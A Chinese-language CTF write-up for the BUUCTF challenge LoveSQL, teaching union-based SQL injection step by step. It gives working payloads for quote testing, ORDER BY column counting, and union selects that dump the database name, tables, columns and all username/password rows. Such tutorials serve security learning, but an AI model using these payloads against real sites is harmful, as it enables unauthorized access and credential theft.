union注入流程比较固话的套路依次判型,字段数,回显点,依次爆库名,表名,字段名,数据。

1.判断注入点

我们拿buu上的[极客大挑战 2019]LoveSQL举个例子

通常 Sql 注入漏洞分为 2 种类型:

数字型
字符型

我们在登录框中输入1,1。然后登录试试

好,报错了。可以看到是get方式传参。这个时候,后台拼接的sql语句为:select * from <表名> where username='1'&password='1'。语法不存在错误,说明我们的sql语句被执行了。

然后我们在1后面加上'试试

好,报错了,但是和上次不一样。最为经典的单引号判断法: 在参数后面加上单引号,比如:

1
http://xxx/abc.php?id=1'

这个时候的sql语句为:select * from <表名> where username=’1’’&password=’1’

很明显是错误的,因为多了一个'但是如果在后面加上一个注释符#的话,sql语句就为:select * from <表名> where username='1'#'&password='1'

而有效的sql语句就是:select * from <表名> where username='1'所以这里的1是字符型,因为后迷案的被注释掉了,所以我们就可以通过拼接and或者or语句来进行注入。

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。我们试试加上#,把后面的注释掉。

可以看到,他又回到了正常的回显。这时候的sql语句为:select * from <表名> where username=1'因为sql语句结尾时会有一个’,所以,此时的‘的个数是正常的。所以此处存在注入点。

2.爆字段数

判断有几个字段是,会用到order by语句我们可以构造payload:1' order by 3#来进行实验,如果回显正常,则字段数就比3大,否则就比3小。

可以看到回显正常,说明字段数比3大,我们试试payload: 1' order by 4#

回显不正常,所以字段数为3。

3.爆库名

知道了字段数为3,我们就可以构造payload:1' union select 1,2,3#

很明显,2和3都是注入点,而且没有过滤,接下来直接爆库名了。

3.暴库名

因为回显点在2和3处,所以我们构造payload:1' union select 1,database(),3#

可以看到在2回显点处爆出库名为geek。

4.爆表名

在知道了数据库之后,我们可以构造payload:1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#来查询数据库中都有那些表

可以看到爆出了geekuser,l0ve1ysq1这两个表,然后我们可以爆字段名。

5.爆字段名

明眼人一看就知道flag肯定在l0ve1ysq1表里,所以我们payload:1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

可以看到三个字段名是:id,username,password然后我们爆数据。

6.爆数据

我们构造payload:1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1#来查询三个字段中的所有数据

拿下。